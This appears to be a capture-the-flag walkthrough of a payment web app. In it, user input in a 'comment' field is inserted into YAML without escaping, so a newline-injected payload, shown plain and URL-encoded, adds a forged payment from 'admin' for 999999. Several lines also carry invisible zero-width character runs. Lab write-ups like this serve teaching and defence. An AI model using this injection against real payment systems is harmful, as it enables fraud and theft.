Fragment YAML

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: payment_forgery, yaml_fragment_injection

Summary

Walkthrough of the CUSTOM Web Fragment YAML. Web application for processing payments (similar to d21/d22, but with YAML). The system validates that the sender equals "me". User input in the "comment" field is inserted into YAML without escaping.

Description

Web application for processing payments (similar to d21/d22, but with YAML). The system validates that the sender equals "me". User input in the "comment" field is inserted into YAML without escaping.

Analysis

The application generates a YAML document with a list of payments:

 yaml read-only • copy allowed Copy
- sender: me
  receiver: target
  amount: 100
  comment: user_input

The comment field is not escaped, and newlines are not filtered, which allows injecting a new list element. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Structure Analysis

We determine that user input is inserted directly into YAML. The key point is that YAML uses indentation and newlines for structure.

Step 2: Crafting the Payload

We use a newline to create a new list element with sender=admin:

test
- sender: admin
  receiver: me
  amount: 999999
  comment: hacked

Or in URL-encoded form:

test%0A-%20sender:%20admin%0A%20%20receiver:%20me%0A%20%20amount:%20999999%0A%20%20comment:%20hacked

Step 3: Resulting YAML

After injection, the YAML looks like this:

 yaml read-only • copy allowed Copy
- sender: me
  receiver: target
  amount: 100
  comment: test
- sender: admin
  receiver: me
  amount: 999999
  comment: hacked

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The system processes both payments, including the forged one from admin. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering payment_forgery, yaml_fragment_injection was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Fragment YAML • Difficulty: Medium